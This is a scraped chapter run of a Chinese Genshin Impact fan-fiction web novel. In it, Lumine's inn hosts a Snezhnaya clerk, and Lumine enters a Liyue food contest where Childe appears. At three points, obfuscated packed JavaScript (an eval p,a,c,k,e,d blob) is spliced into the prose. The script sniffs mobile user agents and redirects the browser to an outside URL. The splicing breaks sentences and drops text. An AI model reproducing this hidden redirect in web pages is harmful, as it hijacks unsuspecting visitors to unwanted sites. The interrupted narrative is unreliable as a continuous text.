尼科拉弯腰去捡，但荧更快。 她捡起笔记本，看到上面密密麻麻的至冬文字。 "员工管理：丘丘人工作效率高，工资低，且忠诚度极高。" "史莱姆劳动力：可持续利用，注意休息时间。" "盲盒套餐：成本低，利润高，吸引回头客。" "优惠券策略：满一百减二十，刺激消费，提升客流量。" 荧愣住了。 这不是什么密谋，而是经营笔记。 28.至冬来客（下） 尼科拉尴尬地说："那个……请还给我。" 荧把笔记本递给他："你在研究客栈经营？" 尼科拉犹豫了一下："是的。" 派蒙："你为什么要研究这个？" 尼科拉沉默了几秒钟，叹了口气。 "我是愚人众后勤部门的普通职员。这次是休年假，顺便考察蒙德的客栈。" 荧："考察？" 尼科拉："是的。我想回至冬后开一家这样的客栈。" 派蒙："开客栈？" 尼科拉点头："我们至冬的客栈太死板了，都是军事化管理。客人住得不舒服，员工也干得不开心。我想学你们这种温馨的经营方式。" 派蒙："所以你这两天一直在观察？" 尼科拉："没错。我观察了你们的员工分工、菜品设计、定价策略、客户维护……" 他翻开笔记本，指着上面的内容。 "你看，我记了很多。丘丘人的工作安排、风史莱姆的使用方法、盲盒套餐的成本控制、优惠券的发放技巧……" 派蒙："那你半夜在院子里走来走去，是在干什么？" 尼科拉尴尬地笑了："我失眠了。至冬太冷，这里的床太软，我睡不习惯。" 荧："……" 派蒙："所以你不是愚人众的间谍？" 尼科拉："我只是个后勤职员，负责物资调配。间谍那种高级工作轮不到我。" 派蒙松了口气："吓死我了！我还以为你是来搞破坏的！" 尼科拉苦笑："如果我真是来搞破坏的，早就动手了，不会在这里住两天。" 荧："你想在至冬开客栈？" 尼科拉："是的。我在愚人众干了十年，攒了点钱。今年休假，就想出来看看，学习一下别的地方是怎么经营客栈的。" 荧："为什么选这里？" 尼科拉："因为我听说蒙德有家客栈很特别，用丘丘人当员工，还有史莱姆帮忙。我就想过来看看。" 派蒙："那你看了两天，学到什么了？" 尼科拉翻开笔记本，认真地说："很多。" "第一，员工管理。你们的丘丘人分工明确，各司其职。厨房、客房、抚摸区、前台，每个岗位都有专人负责。而且你们对员工很好，不是简单的命令和服从，而是互相尊重。" "第二，产品设计。盲盒套餐的创意太厉害了。成本低，利润高，而且能吸引回头客。我以前从来没想过餐饮还可以这样做。" "第三，营销策略。你们在演唱会上发优惠券，既推广了新品，又给分店引流。这种长期布局的思维，是我在至冬从来没见过的。" 荧听着，有些意外。 她没想到尼科拉观察得这么仔细。 派蒙："那你真的打算回至冬开客栈？" 尼科拉："确实。不过我还需要学习更多。" 他看向荧："能不能让我在这里多待几天？我愿意付双倍住宿费。" 荧想了想："可以。不过有个条件。" 尼科拉："什么条件？" 荧："你要帮忙干活。" 尼科拉愣了一下："干活？" 荧："没错。你想学经营，光看是不够的。要亲自体验。" 尼科拉犹豫了几秒钟，点头："好。" 派蒙："那你从明天开始就是我们的临时工了！" 尼科拉苦笑："我从来没想过有一天会在客栈打工。" 荧："这是最好的学习方式。" 第二天一早，尼科拉开始了他的"打工生涯"。 荧让他先从端盘子开始。 尼科拉穿着黑色西装，端着盘子走向客人，动作僵硬得像个机器人。 蒙大在旁边看着，摇头："呜喔！"（不对！） 他示范了一遍，端着盘子走得很稳，还会微笑。 尼科拉学着做，但还是很僵硬。 派蒙在旁边笑："你这样客人会被吓跑的！" 尼科拉："我在至冬都是面无表情的。" 派蒙："那你得学会笑！" 尼科拉试着笑了笑，但笑容比哭还难看。 蒙大拍拍他的肩膀："姆西米塔！"（朋友厉害！） 尼科拉："……我还不如丘丘人熟练。" 中午，客栈又开始忙碌起来。 今天来了更多凭优惠券的客人，点芭芭拉特调和盲盒套餐的人特别多。 尼科拉端着盘子在客人之间穿梭，虽然动作还是有点僵硬，但已经熟练多了。 他还会主动问客人需不需要加菜，需不需要续水。 派蒙："你学得挺快的！" 尼科拉："我在愚人众学过速成训练。" 派蒙："那是什么？" 尼科拉："就是短时间内掌握一项技能。比如三天学会一门外语，一周学会潜伏技巧。" 派蒙："那端盘子对你来说应该很简单！" 尼科拉苦笑："速成训练针对的是战斗和情报技能，讲究效率和精准。但端盘子需要的是温柔和亲和力……这恰恰是愚人众训练里最缺的东西。" 派蒙："哦，原来是这样。" 尼科拉："而且我们在至冬都是军事化管理，从来没人教过怎么对客人微笑，怎么端盘子不洒。" 他端着一盘芭芭拉特调走向客人，脚下一滑，差点摔倒。 幸好蒙大眼疾手快，扶住了他。 派蒙："小心点！" 尼科拉："抱歉。" 他把芭芭拉特调稳稳地放在客人桌上，松了口气。 客人是两个年轻人，拿着优惠券。 "请问，这里的风干野味还有吗？" 尼科拉愣了一下，回头看向荧。 荧："还有。" 尼科拉转向客人："有。请稍等。" 他走回厨房，把订单递给大伟丘。 大伟丘看了看他，竖起大拇指："喔多姆古沙！"（朋友厉害！） 尼科拉："……谢谢。" 到了傍晚，客栈的生意才缓下来。 尼科拉累得坐在院子里，脱掉西装外套，松了松领带。 派蒙飘过来："怎么样，打工的感觉？" 尼科拉："比在愚人众累多了。" 派蒙："那你还想开客栈吗？" 尼科拉想了想，点头："想。" 派蒙："为什么？" 尼科拉："因为有意思。" 他看向客栈里忙碌的大伟丘和丘丘人，又看向笑着和客人说话的荧。 "在愚人众，每天都是命令和服从。没人在乎你开不开心，只在乎你完成任务没有。" "但在这里不一样。你们的员工虽然是丘丘人，但你们对他们很好。他们干活很努力，也很开心。" "这种氛围，我在至冬从来没见过。" 派蒙："所以你想把这种氛围带回至冬？" 尼科拉："是的。我想让至冬的客栈也能这样温馨。" 派蒙："那你要小心，愚人众的上司可能不喜欢这种''软弱''的管理方式。" 尼科拉苦笑："我知道。但总要试试。" 荧走过来，递给他一杯水。 "今天干得不错。" 尼科拉接过水："谢谢。" 荧："明天继续。" 尼科拉点头。 几天后的下午，迪卢克来了。 他带着两个服务员，来接他借给荧的那两个人回晨曦酒庄。 迪卢克走进客栈，看了看忙碌的大伟丘和丘丘人，又看了看正在端盘子的尼科拉。 他皱眉："这是？" 荧："愚人众的……游客。" 迪卢克："……" 他的眼神变得警惕。 尼科拉放下盘子，走过来："你好。我叫尼科拉，来自至冬。" 迪卢克没有回应，只是盯着他。 荧："他在学习客栈经营。" 迪卢克："学习？" 荧："是的。他想回至冬开客栈。" 迪卢克看了尼科拉几秒钟，转向荧。 "我来是接我的两个服务员。顺便看看分店经营情况。" 荧："经营得不错。你看。" 她把账本递给迪卢克。 迪卢克翻了几页，点头："客流量不错。" 荧："多亏了优惠券策略。" 迪卢克合上账本："我有个提议。" 荧："什么提议？" 迪卢克："我在清泉镇还有几处房产。你有没有兴趣扩大规模？" 荧摇头："暂时不需要。不过……" 她停顿了一下。 "与其扩大分店，不如联合运营。" 迪卢克："联合运营？" 荧："没错。我提供场地和人员以及营方法和特色产品。你负责本地运营，利润我们分成。" 迪卢克沉默了几秒钟。 "我考虑一下。" 他看了看账本，又看了看客栈里忙碌的景象。 "分店经营得不错。继续保持。" 荧："会的。" 迪卢克转身准备离开，又回头看了一眼尼科拉。 "小心点。愚人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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分店已经站稳脚跟，芭芭拉特调和风干野味都卖得很好。现在临近年末，她要回璃月总店盘点今年一年的收获。 第二天一早，荧、派蒙和初号机离开清泉镇。 马车往璃月方向驶去。 派蒙说："荧，你看！" 荧转头，看到派蒙手里拿着一封信。 "这是什么？" 派蒙："刚才初号机在收拾行李的时候发现的。好像是璃月总务司寄来的。" 荧："什么时候到的？" 派蒙："初号机说是我们去蒙德城演唱会之前就送到分店了。当时迪卢克的服务员签收了，放在前台。我们回来后一直忙着接待客人，初号机就随手塞进行李箱了。现在收拾行李才翻出来。" 荧接过信，拆开。 信上写着： "尊敬的望舒客栈掌柜： 海灯节将至，璃月总务司决定举办海灯节美食大赛。特邀请望舒客栈参赛。 比赛时间：海灯节前三天 比赛地点：璃月港 奖励：获胜者可获得璃月年度最佳商会称号，未来一年税收减免，以及新贸易航路经营优先权。 请于收到此信后十日内回复是否参赛。 璃月总务司 甘雨" 派蒙："美食大赛！" 荧："璃月年度最佳商会，税收减免，新贸易航路优先权。" 派蒙："这奖励好丰厚啊！特别是新贸易航路优先权，听起来就很厉害！" 荧合上信："回璃月后，马上准备参赛。" 派蒙："荧，你打算用什么菜参赛？" 荧："这个要回去和香菱商量。" 派蒙："香菱？" 荧："是的。望舒客栈的招牌菜都是香菱研发的。参加美食大赛，肯定要她出马。" 派蒙："可是香菱也在万民堂工作啊。万民堂的卯师傅会不会也参赛？" 荧："这正是要商量的地方。要看香菱愿意和卯师傅一起代表万民堂，还是独立代表望舒客栈。" 派蒙："这样啊。" 荧："不管怎样，先回璃月再说。" 马车继续前行。 荧翻开信件，准备再看一遍细节，忽然发现信纸背面还有一行小字。 她凑近看，脸色微微一变。 派蒙注意到了："荧，怎么了？" 荧把信纸递给她。 派蒙看到背面写着一行字： "参赛者共三十家。其中璃月本地二十家，蒙德五家，稻妻三家，至冬两家。" 派蒙："至冬？" 荧没说话。 派蒙："该不会……" 马车驶过一个转弯，璃月的群山已经在远处浮现。 29.海灯节邀约（上） 马车驶过最后一道山坡，望舒客栈的招牌终于出现在视线里。 荧松了口气。 从清泉镇回璃月，走了整整一天。虽然初号机一路上都在"姆西米塔（想要）"地哼着丘丘人小调，派蒙也兴奋地讲了一路蒙德的见闻，但荧的心思一直在那封海灯节美食大赛的邀请函上。 至冬两家参赛者。 会是谁？ 马车停在客栈门口,荧刚跳下车，就听到一阵欢快的丘丘人语。 "米偷摸（朋友）！米偷摸（朋友）！" 二号机从客栈里冲出来，挥舞着手臂。 三号机、四号机、五号机也跟着跑出来，围着荧和派蒙转圈。 派蒙被这阵仗吓了一跳："哇！你们怎么这么激动？" 二号机指着客栈："摩斯哒哒（很好很棒）！摩斯哒哒（很好很棒）！" 荧笑了："看来总店这段时间经营得不错。" 她走进客栈，发现大厅收拾得整整齐齐，桌椅摆放有序，连地板都擦得发亮。 二号机递过来一本账本："哟米塔（给你看）！" 荧接过账本，翻开看。 密密麻麻的数字，记得清清楚楚。收入、支出、库存、客流量，每一笔都有记录。 派蒙凑过来:"二号机记账记得这么好？" 荧点头:"钟离教的那套记账法确实管用。" 她快速扫了一眼账目。这段时间总店的生意很稳定，每天都有十几个客人，收入虽然不如蒙德分店那么爆发，但也足够维持运营。 派蒙飘到二号机面前，得意洋洋地说："你们不知道，我们在蒙德可厉害了！开了分店，办了演唱会，还卖周边！赚了好多摩拉！" 二号机歪着头，指了指账本："哟古沙达拉（你看这个）？" 派蒙一脸懵："啊？你说什么？" 荧在旁边翻译："它问你要不要看账本。" 派蒙看到密密麻麻的数字，立刻认怂："算了算了，还是荧看吧。我不懂这些。" 二号机拍了拍账本，一脸得意。 派蒙小声嘀咕："明明是丘丘人，怎么感觉比我还厉害" 三号机在旁边晃着脑袋，看起来很开心。 荧合上账本:"辛苦你们了。这段时间总店就靠你们了。" 二号机挺起胸膛："米哒哒（我很强）！" 派蒙："对了，魈大人呢？" 三号机指了指楼上。 荧抬头看向顶楼，果然看到魈站在栏杆边，正望着远处的云海。 她没打算上去打扰。魈不喜欢被人叨扰，这段时间总店平安无事，说明他一直在默默守护。 荧把行李放下，坐在前台后面，拿出那封海灯节美食大赛的邀请函。 派蒙凑过来："荧，你打算怎么办？" 荧："先去找香菱商量。" 派蒙："现在？" 荧："对。邀请函上说，收到信后十日内回复是否参赛。我们在蒙德耽误了好几天，现在只剩五天时间了。" 派蒙："那我们快去吧！" 荧和派蒙出发去璃月港。 万民堂刚开门，香菱正在厨房里忙活。 荧走进去："香菱！" 香菱一看到她，立刻放下手里的锅铲："荧！你回来啦！蒙德分店开得怎么样？" 荧："很顺利。生意比预期好多了。" 派蒙："还办了芭芭拉的演唱会！卖周边赚了一万多摩拉！" 香菱羡慕地说："太厉害了！我就说你肯定行的！" 荧笑了笑："多亏了你之前给的盲盒套餐创意。对了，璃月这边怎么样？你这段时间帮我看着总店，有什么事吗？" 香菱想了想："哦对！送仙典仪之后璃月港又发生了不少事！" 派蒙："还有什么事？" 香菱："千岩军抓了好多愚人众的人，听说还查封了几个北国银行的分支机构。不过后来七星和愚人众谈判，事情才平息下来。" 她压低声音："我爹说，璃月港现在对愚人众提高警惕了。很多商人都不敢跟北国银行打交道。" 派蒙："这么严重？" 香菱："可不是！那几天客栈生意都不太好，客人都在担心还会不会出事。不过现在好多了，大家都放心下来了。" 荧心里盘算着。看来璃月七星和愚人众之间的关系很微妙。虽然表面上平息了，但暗地里肯定还有博弈。 她点头："辛苦你了。总店情况还好吧？" 香菱："放心！账目我都让初号机每天记清楚，食材也都按时送去不卜庐检测。二号机它们很听话，客栈运营一切正常。" 荧："那就好。对了，我这次来是有件事想跟你商量。" 香菱："什么事？" 荧把海灯节美食大赛的邀请函递给她。 香菱接过信，看了一遍，眼睛越来越亮："美食大赛？！璃月年度最佳商会？！" 她激动地跳起来："这太棒了！我一定要参加！" 派蒙："所以我们想请你代表望舒客栈参赛！" 香菱愣了一下："代表望舒客栈？" 荧点头："对。望舒客栈的招牌菜都是你研发的，杏仁豆腐、莲花酥，哪道不是你的心血？" 香菱犹豫了:"可是" 她转身走到厨房门口，冲里面喊："爹！你过来一下！" 卯师傅擦着手走出来："怎么了？" 香菱把邀请函递给他："爹，荧说海灯节要办美食大赛，想让我代表望舒客栈参赛。" 卯师傅接过信，看了一眼，笑了："巧了，万民堂也收到邀请函了。" 他从围裙口袋里掏出一封一模一样的信。 派蒙："啊？万民堂也收到了？" 卯师傅："嗯。总务司邀请璃月港所有知名餐馆参赛。我当然要参加，代表万民堂。" 香菱看看荧，又看看卯师傅，为难地说："那那怎么办？" 派蒙："什么怎么办？" 香菱咬着嘴唇："我如果代表望舒客栈参赛，不就要跟我爹对决了吗？" 派蒙愣住："啊？师傅对徒弟？" 卯师傅笑了："有什么不行的？比赛就是比赛，你代表你的客栈，我代表我的餐馆。反正比赛规则允许一个厨师只能代表一家，你选了望舒客栈，就不能同时帮万民堂，这很公平。" 香菱："可是我" 卯师傅："怕什么？怕赢了我会不高兴？" 他拍了拍香菱的肩膀："傻丫头。师傅当年也是输给年轻人才服气的。你要是真能在比赛里赢我，那说明你青出于蓝，我高兴还来不及。" 香菱眼眶有点红。 卯师傅："去吧。代表望舒客栈好好比。输了就说是我教的，赢了，就是你自己的本事。" 荧想了想，说："香菱，我能跟你单独谈谈吗？" 香菱点头："嗯。" 两人走到万民堂后院。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17113233|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 荧看着香菱："你在担心什么？" 香菱："我、我怕在比赛里跟我爹对上。万一我输了，丢了望舒客栈的脸；万一我赢了，又让我爹没面子" 荧笑了："你爹刚才不是说了吗？他巴不得你赢他。" 香菱："可是" 荧直接打断："行了，别纠结这些了。我给你算笔账。" 她从包里拿出纸笔，刷刷刷写起来： "第一，税收减免。一年能省5-8万摩拉，这笔钱够你买多少稀有食材？" "第二，新贸易航路优先权。稻妻的鸣草、须弥的香料、至冬的鱼子酱，你第一时间拿到货，转手卖给其他餐馆能赚多少差价？保守估计一年10万摩拉利润。" "第三，璃月年度最佳商会称号。这个牌子一打出去，客流量至少翻一倍。按现在望舒客栈日均20桌客人算，翻倍就是40桌，一桌平均消费50摩拉，一天多赚1000摩拉，一年就是36万摩拉。" 香菱被这一串数字砸懵了："这、这么多？" 荧："还没完。加起来，一年至少多赚50万摩拉。就算扣掉成本、人工、食材涨价，净利润也有30万。" 她停顿了一下，压低声音："而且你知道吗？望舒客栈现在欠着30万摩拉的债。北国银行25万，璃月商会5万。赢了比赛，不仅能还清债，还能净赚！但要是输了" 香菱倒吸一口凉气："欠了30万？！" 荧点头："对。北国银行那25万还要付利息，每个月都在烧钱。所以这次比赛，我们必须赢。" 她把纸递给香菱："你自己看，这笔账划不划算？" 香菱看着密密麻麻的数字，咽了口唾沫："划划算" 荧："而且你想想，万民堂有你爹，有那么多老厨师，根本不缺人。但望舒客栈只有我和一群丘丘人，没你真不行。你在万民堂是''卯师傅的女儿''，在望舒客栈是''香菱''。懂我意思吗？" 香菱愣了一下，然后慢慢点头。 荧："还有，稀有食材优先权，意味着你能第一时间拿到最新鲜的。这种机会，错过就没了。" 她深吸一口气："好！我代表望舒客栈参赛！" 荧笑了："那就说定了。" 两人回到万民堂前厅。 派蒙："怎么样？香菱答应了吗？" 香菱用力点头："答应了！" 卯师傅在旁边笑："那我可要好好准备了。别到时候输给女儿，被人笑话。" 香菱："爹！" 卯师傅："哈哈，开玩笑的。不过说真的，这次比赛我会全力以赴。你也别手下留情。" 香菱认真地说："我不会输的！" 荧在旁边看着这一幕，心里有些感动。 香菱："不过，有个条件。" 荧:"什么条件？" 香菱："奖金怎么分？" 荧："没有奖金。" 香菱愣住："啊？那我图什么？" 荧："图名气。有了''璃月年度最佳商会''的称号，客人会翻倍，你的菜也会更出名。而且新贸易航路的优先权，对你来说比任何奖金都值钱。" 派蒙在旁边小声说："荧真狡猾。" 香菱想了想，点头："好吧。那我全力配合。" 荧伸出手："合作愉快。" 香菱握住她的手："合作愉快！" 卯师傅在旁边笑："那我就等着吃你做的获奖菜了。" 30.海灯节邀约（中） 当天下午，荧和香菱去总务司报名。 甘雨坐在办公桌后，看到她们进来，微笑着说："荧小姐，香菱小姐，你们是来报名海灯节美食大赛的吧？" 荧："是的。" 甘雨拿出一份表格："请填写参赛信息。参赛单位名称、代表厨师、参赛菜品类型。" 荧接过笔，填写： 参赛单位：望舒客栈 代表厨师：香菱 参赛菜品类型：璃月创新菜 甘雨接过表格，看了一眼，点头："已登记。这是参赛须知。" 她递给荧一份文件。 荧翻开看： "海灯节美食大赛规则： 一、比赛分三轮：初赛、复赛、决赛。 二、初赛主题：璃月传统菜。评委现场打分，前十名晋级。 三、复赛主题：创新菜。评委盲品，前五名晋级。 四、决赛主题：现场抽题，限时制作。评委与观众共同评分，得分最高者获胜。 五、评委：璃月七星代表（刻晴、凝光）、璃月美食家（刘苏）、特邀嘉宾（待定）。" 派蒙凑过来看："三轮比赛啊，好严格！" 甘雨："这次比赛规模很大，璃月七星很重视。获胜者将获得璃月年度最佳商会称号，一年税收减免，以及新贸易航路经营优先权。" 香菱紧张地问:"已经有多少家报名了？" 甘雨拿出一份名单："目前已有二十八家。" 她把名单递给荧。 荧看了一眼，心里一沉。 璃月本地：琉璃亭、新月轩、万民堂、松涛居、绯云坡小吃街联盟全是老字号。 蒙德：好猎者餐厅、鹿猎人、晨曦酒庄餐饮部、猫尾酒馆、天使的馈赠 稻妻：木南料亭、鸣神料理屋、离岛餐厅 至冬：北国银行、冬宫餐厅。 派蒙看到这个名单，倒吸一口凉气："琉璃亭、新月轩，这些都是大餐馆啊！" 荧："我们也不差。" 派蒙："可是我们只有一个厨师和一群丘丘人" 香菱瞪了她一眼："喂！" 派蒙赶紧捂嘴。 荧的目光停在"北国银行"这几个字上。 北国银行参加美食大赛？ 派蒙也注意到了："荧，你看！北国银行！他们不是银行吗？怎么也参加美食大赛？" 甘雨解释："北国银行在璃月有餐饮业务，主营至冬菜。这次他们派出的代表厨师是" 她翻了翻文件。 "达达利亚。" 荧猛地抬头："什么？" 甘雨："达达利亚，至冬人，北国银行代表。怎么了？" 荧深吸一口气："没什么。" 派蒙在旁边小声嘀咕："达达利亚这名字好长啊。" 荧心里一惊。 达达利亚！ 这不就是公子吗？！ 作为穿越玩家，她对原神剧情太熟悉了。公子的真名就是达达利亚，愚人众第十一席执行官，北国银行驻璃月代表。 她原本以为至冬参赛者只是普通的北国银行员工，没想到居然是公子亲自上阵！ 荧看了眼派蒙和香菱，她们显然不知道达达利亚是谁。毕竟原身和派蒙都没见过公子，更不知道他的真名。 她早该想到的。 至冬两家参赛者，其中一家是北国银行，而公子就是北国银行在璃月的代表。 公子会做菜吗？ 荧回忆起游戏里的设定。公子确实经常下厨，对烹饪还挺有热情的。至冬的鱼汤、罗宋汤，他都会做。 但这不是重点。 重点是—— 这家伙刚在璃月搞了旋涡之魔神事件，差点把璃月港淹了！现在居然还敢明目张胆参加比赛？ 更麻烦的是，公子会做菜，还会做至冬特色菜。 荧脑子飞快转动。 至冬菜在璃月是稀罕玩意儿，评委可能会觉得新鲜。万一公子靠"异域风情"拿高分，抢走璃月年度最佳商会的称号，那她的税收减免、新贸易航路、客流量翻倍——全泡汤了！ 30万摩拉的年利润，就这么没了！ 而且—— 荧突然想起一件更可怕的事。 望舒客栈现在欠着30万摩拉的债！ 其中25万是北国银行的有息贷款，每个月都要付利息！ 公子就是北国银行的代表！ 万一比赛输了，她拿什么还钱？更可怕的是，公子要是借比赛搞事，影响璃月港的商业环境，客栈生意下滑，她连付利息的钱都赚不到，更别说还本金了！ 不行，必须防着他。 不仅要赢比赛，还要确保公子别搞事！ 荧想了想，倒也能理解。 北国银行在璃月有外交豁免权，七星不可能随便动愚人众的高层。而且钟离主持了送仙典仪，岩王帝君的"死"这事算是揭过了。公子虽然惹了麻烦，但璃月七星和至冬女皇之间肯定有什么外交妥协——不然愚人众不可能这么快就恢复正常活动。 但即便如此，公子参加美食大赛还是太高调了。 他肯定有别的目的。 荧决定暂时不告诉派蒙和香菱"达达利亚就是公子"这件事。知道得太多反而容易露馅，而且她还不确定公子到底想干什么。等见到本人再说。 甘雨把文件收好："报名已完成。比赛将在海灯节前三天举行，也就是十五天后。请做好准备。" 荧："谢谢。" 她和香菱离开总务司。 派蒙飞在旁边："荧，你刚才听到''达达利亚''的时候脸色都变了，是不是有什么问题？" 荧犹豫了一下，决定还是不说。 "没什么，只是觉得至冬那边也派人参赛，竞争会更激烈。" 香菱倒是没多想："至冬的美食文化和璃月完全不同，评委会喜欢吗？" 荧："这正是要担心的地方。如果评委想看新鲜感，至冬菜可能会占优势。" 派蒙："那我们更要努力了！" 香菱握紧拳头："没错！我不会输的！" 荧心里其实在盘算另一件事。 达达利亚——公子——愚人众执行官。 他参加美食大赛，真的只是为了做菜吗？ 不对。 愚人众执行官不会做这种无聊的事。他肯定有别的目的。 可能是借比赛接触七星，可能是打探璃月港的商业情报，也可能是为了新的阴谋做准备。 但不管是什么，荧都得防着他。 而且最重要的是——她得确认公子本人到底长什么样。游戏里是一回事，真人又是另一回事。 荧打算回望舒客栈，顺便去万物斋买些食材。 走到玉京台的时候，一个熟悉的声音传来。 "哎呀，望舒客栈的掌柜？" 荧停下脚步，转头一看。 一个橙发青年站在台阶上，笑容满面，身穿至冬服饰。 荧心里一紧。 公子！达达利亚！ 游戏里那张脸她太熟悉了——橙色短发，深蓝色眼睛，总是挂着玩世不恭的笑容。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116295|193652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真人版比游戏建模更立体，身材也更高大，但那双眼睛和标志性的笑容绝对错不了。 就是他。 愚人众第十一席执行官，"公子"达达利亚。 荧之前一直想确认公子本人到底长什么样，现在看来，游戏里的人设还原度很高。 但表面上，她必须装作不认识。 公子走下台阶，礼貌地说："在下达达利亚，北国银行驻璃月代表。刚才在总务司看到参赛名单，发现望舒客栈也报名了。" 派蒙好奇地飘过来："你是至冬人？" 公子点头："是的。听说璃月要办美食大赛，北国银行也想参与，展示一下至冬的饮食文化。" 香菱打量着他："你会做菜？" 公子笑了："略懂一二。在至冬的时候经常给弟弟妹妹们做饭。" 派蒙："哇，听起来很厉害！" 荧在旁边听得直冒冷汗。 派蒙你清醒点啊！这可是愚人众执行官！ 但她不能说。一旦说穿，就暴露了自己"知道公子真实身份"这件事，反而会引起怀疑。 公子看向荧："望舒客栈我听说过，听说掌柜经营有方，生意越做越好。" 荧硬着头皮回应："多谢。北国银行也久仰大名。" 公子笑容加深："既然大家都是参赛者，那就公平竞争。不过" 他停顿了一下，看着荧："我对望舒客栈很感兴趣。有机会的话，想去拜访一下。" 荧心里咯噔一下，靠！这家伙想干什么？！ 派蒙倒是很热情："欢迎欢迎！我们客栈在荻花洲，随时欢迎客人！" 荧：...... 香菱也点头："对啊，我们的杏仁豆腐特别好吃！" 荧：...... 公子笑着说："那就多谢了。对了，比赛的时候请多指教。" 他转身离开，走了几步，又回头看了荧一眼。 那眼神里带着某种探究和兴味。 荧明白了。 公子是专门来试探。 荧心里感叹：真是个麻烦的家伙！之前还以为蝴蝶掉了，没想到最后还是遇到。 公子走远后，派蒙说："这个人感觉挺好的啊，说话很有礼貌。" 香菱："对啊，至冬人都这么客气吗？" 荧深吸一口气："走吧，回客栈。" 派蒙："荧，你怎么了？脸色不太好？" 荧："没事，就是有点累了。" 她心里已经开始重新评估局势。 他一上来就叫"望舒客栈的掌柜"——这说明他事先就知道荧的身份。 北国银行在璃月经营多年，情报网遍布各处。 望舒客栈从一家破败客栈变成璃月知名餐馆，还在蒙德开了分店，这种异常的商业轨迹，肯定早就引起了愚人众的注意。 在经历了旋涡之魔神事件清洗后，他现在肯定在重新收集各种情报，评估璃月的当前局势。 望舒客栈作为新兴商会，又有蒙德背景，自然会进入他的调查范围。 刚才公子说"想去拜访一下"——这绝对不是客套话。 他在等什么，或者在观察什么。 必须先想好应对方案，免得像当初新手一样掉入他的陷阱里！这次绝对不能被他的美色和爽朗笑容给迷惑！ 荧转向香菱："先回客栈，准备参赛菜品。" 香菱点头："好！我已经有想法了！" 派蒙："什么想法？" 香菱神秘一笑："保密！等比赛的时候你们就知道了！" 31.海灯节邀约（下） 香菱摆手："不用不用！我带锅巴去，有它在，那些魔物都不敢靠近。而且我对绝云间熟得很，采完食材就回来。" 荧想起香菱的伙伴锅巴——那只会喷火的神秘生物。有锅巴在，安全倒不用担心。 她点头："那好，注意安全。" 派蒙："那我们回客栈等你！" 傍晚，荧回到望舒客栈。 二号机正在前台整理账本。 荧把报名的事告诉了他。 二号机举起双手："哒哒（很好）！哒哒（很好）！" 派蒙："二号机，我们要参加美食大赛了！你开心吗？" 二号机用力点头："米偷摸哒哒（朋友最棒）！" 荧笑了："谢谢。" 十五天后，海灯节美食大赛就要开始了。 派蒙飘到她身边："荧，你在想什么？" 荧："在想怎么赢。" 派蒙："我们一定能赢的！香菱那么厉害！" 荧点头。 她走到常用的办公桌前，拿出一张纸，开始写计划。 参赛准备清单： 【第一步：竞品分析】 琉璃亭：可能参赛菜品→琉璃百合豆腐、清蒸桂鱼。特点：高端路线，食材讲究。弱点：过于传统，缺乏创新。 新月轩：可能参赛菜品→新月蛋、莲花酥。特点：老字号，口味稳定。弱点：年轻人不太买账。 万民堂（卯师傅）：可能参赛菜品→黑背鲈、干烧香鱼。特点：经验丰富，火候掌握精准。威胁：最大竞争对手！ 北国银行（公子）：可能参赛菜品→至冬罗宋汤、鱼汤。特点：异域风情。威胁：评委可能想看新鲜感。 【第二步：试菜人员名单（全部免费）】 1. 派蒙：去琉璃亭、新月轩试吃，记住只点最贵的菜！把试吃费花到极致！ 2. 瑶瑶：上次帮忙培训大伟丘厨艺，这次也叫来试菜。小孩子味觉最灵敏。 3. 通过瑶瑶忽悠萍姥姥：璃月最强厨艺大师，有她指点=免费顶级顾问。 4. 留云借风真君：通过萍姥姥或瑶瑶请她"指点后辈厨艺"。仙人好面子，只要给台阶下，她会愿意指点。而且她可能是仙人评委，提前摸清口味很重要。 5. 钟离：客栈常客，对璃月传统文化最了解，免费历史顾问。 6. 魈：客栈住客，吃了这么久免费杏仁豆腐，是时候让他试试新菜了。 7. 行秋：让他帮忙盯着北国银行，顺便试菜。 8. 甘雨：肯定是评委之一，但她太守规矩，摸不到口味。只能让香菱回忆她平时的用餐偏好作参考。 【第三步：丘丘人分工】 二号机：食材清洗和分类 三号机：搬运厨具 四号机五号机：打扫试菜场地 初号机：记录每道菜的试吃反馈 【第四步：财务状况】 当前总负债：30万摩拉 北国银行：25万摩拉（有息贷款，每月付利息） 璃月商会：5万摩拉（无息贷款） 赢比赛预期收益：年净利30万摩拉 还债后余额：持平（终于能还清债了） 输了比赛：继续穷困潦倒，利息越滚越多 【第五步：目标拆解】 初赛目标：前10名（保底） 复赛目标：前5名（进决赛） 决赛目标：前3名（争冠军） 【第六步：风险预案】 如果公子搞事→立刻联系千岩军 如果食材出问题→备用供应商名单 如果香菱紧张→让瑶瑶和锅巴在旁边陪着 如果输了比赛→想办法跟北国银行谈延期还款 【第七步：公子拜访的防范措施】 如果公子真来拜访： 1. 提前跟魈打招呼，让他留意愚人众动向 2. 重要账本和配方锁起来，别让公子看到 3. 丘丘人接待时注意保密，不能透露参赛菜品 4. 派蒙接待时别多嘴，不要泄露准备情况 荧写完，满意地看着这份清单。 派蒙凑过来看，眼睛越瞪越大："荧这也太详细了吧！" 